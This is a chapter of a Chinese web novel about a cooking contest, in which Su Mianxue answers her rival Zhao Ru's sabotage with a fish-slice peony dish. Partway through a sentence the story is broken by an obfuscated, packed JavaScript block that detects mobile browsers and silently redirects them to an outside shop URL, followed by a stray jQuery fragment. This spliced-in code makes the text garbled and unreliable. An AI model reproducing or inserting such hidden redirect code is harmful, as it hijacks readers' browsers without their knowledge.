苏眠雪拿袖子擦掉额头上的汗,刚刚处理完猪大肠,现在身上一股子的味,熏得那老头向后退了两步。
老头一人说赵儒还不够,又来了七八个人,指着那道白鹤展翅,讽刺着。
“赵兄是江郎才尽吗,怎么连着这么多年,都是一道白鹤展翅啊,今年这白萝卜拿盐腌过吗,别又是一点味都没有。”
“赵老板年年都是一道菜,江郎才尽这话说得不对,该是没几分本事,只学了这道菜才对。”
……
几个人嘻嘻哈哈,将赵儒贬着连鞋底下的泥都不如,苏眠雪忍着笑,往后缩了缩,等礼官给了她过关的牌子,沉甸甸的拿金漆刻画过的牌子,拿在手上颇有排面。
正要收拾被弄乱的台面,突有一人把目光移到了她身上,带了几分客气,“姑娘可是和赵兄一块来的,两人长得,还真有几分相似。”
相似?
裴攸到底会不会办事,怎得连她也一块骂上了,为了更显真实吗。
她客气说:“我和赵老板是同乡。”
“懂了,懂了。”几人围着相互笑着。
说话间不乏将话抛到她身上,但不管对方说什么,苏眠雪都未理会,在人群中搜罗着,很快将目光放在的一人身上。
对赵儒颔首:“赵老板,裴攸来了,我今天中午不方便陪您一块了,先走了。”
赵儒老脸红了又青,跟颜料一般花颜六色精彩绝伦,在一群老家伙面前被说得连个洞都没地方钻,还是当着苏眠雪的面!
现在急着走,是看够了他的笑话,怕憋不住笑了才对!
“苏老板第一次来清河城,当和裴公子好好逛逛,下午,我们在一块来。”
赵儒咬着牙,死死盯着两个离去的背影,撑着笑,和几个好友谈及过往。
午间的太阳充足,她顶着太阳站了一个时辰,现在早就身心俱疲。
早知道大赛中的材料都是新鲜准备的,到没想到会这么新鲜,新鲜的像是刚从猪肚子里取出来,出了一身的汗不止,还染了一身的味道。
回到客栈,苏眠雪沐浴之后换了一身衣衫,店小二已经提前送上吃食,都是些清淡的菜色。
用完膳,她拿重新梳洗了一番,伸手拿过边上的蝴蝶簪子,将栀子花簪放到了一旁,手上抹了润膏,早上碰过水,指头泡发涨起了条条皱痕。
裴攸替她备好下午出门的东西,拿了一把伞,道:“中午晒了这么久,脸上又起了皮。”精致的宝蓝色盒子中,是细腻光滑的白色膏体。
开了盖,有淡淡玉兰脂香,用食指小心挖了一小勺,抹在晒红的脸上,清凉的感觉淡化了脸上的不适,指头打着圈,很快起皮的地方没了痕迹。
苏眠雪又挖了一些,均匀抹在脸上,“是极好的东西,抹在脸上都不疼了。”他手上另一边已经拿好东西。
她要带的东西不多,不过是随身拿着用来傍身,以便不时之需。
这一路来裴攸跟在边上,下午的太阳还有些晒,等到结束时,天气就会凉快下来。
回到湖边,敲鼓的人手里拿着棒槌,苏眠雪找到赵儒,还是白天的位置。这会的赵儒有些狼狈。
那老头合着一群人离开后又来了一批人讽他年年都做这一道菜,他瞧是嫉妒心作祟,他就是年年做一道菜,不也拿到了三等。
“苏老板,你今天早上做得海棠果,看上去着实不错,就是那块木头,是从哪解决的?”
赵儒凑上前,捋着下巴上被风吹乱的须,谦虚请教着。
苏眠雪拿下背在背上的袋子,将做工粗糙的木头递过去,“是我自己带来的,简陋了些,能救急便成。”
赵儒拿过细细观赏,苏眠雪垂直眸,一直到锣鼓喧天,昭示着比赛再次开始,赵儒依旧没把木头还给她。
她手里的动作慢了许多,目光扫过放在后头的竹筐,一筐的蔬菜,一筐的河鲜荤肉,剩下一筐边上肉铺里拿来的新鲜内脏,都是没处理过的。
赵儒并非次次都做一道菜,但又要炫技又要好吃,他唯一做得出又快又好看的,就只有那白鹤展翅了。
听名字,就知道他藏在心里头的凌云志。
但今天来了整整两批人来讽他的白鹤展翅,说他活了半辈子,只会这一道菜,想去长安简直就是白日做梦!
赵儒气,但气归气,听着那些话又只能陪着笑脸,装作不懂跟着他们一块笑。
来来回回被多少人看见了,他一张老脸都丢光了!
赵儒率先拿走放在后面的猪大肠,食材并未一人一份菜,而是四个人用一份,整整三大筐,一场比赛下来,剩下的就会丢掉,每次比赛都是新鲜的食材。
他拿了他们这组的肥肠,苏眠雪再想做这道菜,就要去其他组那里拿,大家都是竞争对手,就是不用,也不会给她拿去。
万一苏眠雪刚好就只会这道菜呢。
比赛里突然反水,这些对于考官来说都是无伤大雅的事,他们要得是有本领的人,至于其他的,送上去了上边自会挑选。
比起圆滑会小聪明的,在宫里,太过老实的才是第一个被吃掉的棋子。
比赛中只要不闹事,其他的一律不管。
安王在位多年自有一番处世之道。
赵儒算准了苏眠雪要吃哑巴亏,将猪大肠全拿了走,一点也不给她留。
就是留,做树的木头在他手上,苏眠雪就是拿了肥肠也做不了跟他一样的。
赵儒拿得快,手上功夫也快,已经开始处理肥肠,这般看来苏眠雪别无选择,只能从竹筐里挑出一只草鱼,皮笑肉不笑,脸色很难看。
苏眠雪张嘴想说什么,最后止住话头,僵着脸开始处理草鱼。
草鱼去鱼骨、鱼刺和鱼皮,鱼肉顺着身上的纹路,斜着刀切下鱼片。
鱼片大小均匀,似牡丹花瓣舒展,放在小盆里,加盐搅拌,用清水清洗干净,最后倒料酒、葱姜和盐,以此用来腌制入味。
土豆去皮放蒸笼里蒸熟,她在几个箩筐里翻了一统,找出里面的麦粉,裹在鱼片上,用擀面杖压平,鱼片样子不一,有大有小,摆不出好看的形
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12963766|130063||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
状。
安王准备的厨台物具应有尽有,苏眠雪摸了好久,翻出一把剪子,上边生了绣,但的的确确是一把新剪子。
赵儒虽说一心在自己的厨台上,但因为心虚,当着人家的面做截胡的事,暗中观察着她的脸色。
就怕以后他那人生又添一笔。
身前身后不少人盯着,他把自己的剪子递过去:“苏老板,这些厨具都是提前准备的,难免有些中了招,压在底下生了绣。这场是要礼官试吃。”
赵儒的意图明显,苏眠雪收,下剪子,“多谢赵老板提醒。”
此刻慌乱已然全无,她既将身心都投入在菜品中,自分不了其他心思来想其他的事。
鱼片被剪成扇子模样,锅里倒油,等待六成热时,放入鱼片边拿筷子定型,成一瓣瓣微微躯卷,努力绽放的花。
蒸好的土豆压成泥,捏成团,中间插胡萝卜丝充作花蕊,鱼片从小到大,从内到外,直到一朵牡丹花的完成,再接着做下一朵。
三朵花大小不同,摆在盘中折了枝叶做茎,浇上甜口酱汁。
绿叶做景,似朵朵盛开的牡丹花,
赵儒擦去额前的汗珠,刀尖锋利,又因手忙脚乱,在一颗小小的海棠果上略显笨拙。
在盘中铺好果片,四五块肥肠堆在上边,锣鼓应声落下,赵儒筷子一抖,上面的肥肠掉在外边。
刚摆好的盘散落了开,好在这轮不重造型,重视口感是否奇异。这一下倒无伤大雅。
礼官也有好几个,这轮能不能过,一半靠实力,一分靠运气,剩下的,收了银子一句话就能使的,拿不了一等去不了长安。
花了银子的,那个不是给自己酒楼博一个美名声,至于前几名的事,不关他们的事,只要过了这一关,在自己镇里有面便成。
苏眠雪这道菜做得漂亮,礼官一路吃下来,足足尝了九道菜,到她这,只要味道过关就能拿到牌子。
礼官抿了几口清茶,拿起摆在牡丹鱼片前的筷子,夹了一片,递给她一块牌子算是过了。
快得苏眠雪好像本该如此,又有些出乎意料。
粗略转了一圈,才发现留的人占了七成,淘汰的三成左右。
赵儒手里捧着嵌了银边的木牌,幽幽看了眼,这道菜比之他的要新颖些。
但夸人的话又深深给他来了一击,这是人人都知道他每年只有一道菜了?
“今天淘汰出去的都是来玩的,苏老板,明天的才是正式开始,七人一组留三个,以此类推,能笑到最后的三人,才能拿到去长安的拜名帖,进了里面,听说会听学一月,再做比试。”
赵儒负手而立,垂下眼的那刻盯着盘子里的肥肠,幽幽笑着,凑到她跟前,问道:
“苏老板新买了一支簪子,今天怎没见你戴起,可是不喜欢?”
苏眠雪双手搭在桌前,站了两个时辰突然松懈,大腿弯都在疼,耷着眼皮,笑容凝在嘴角。
“不适合我下午的裙子,所以就没戴上了。”
“赵老板,这是何意?”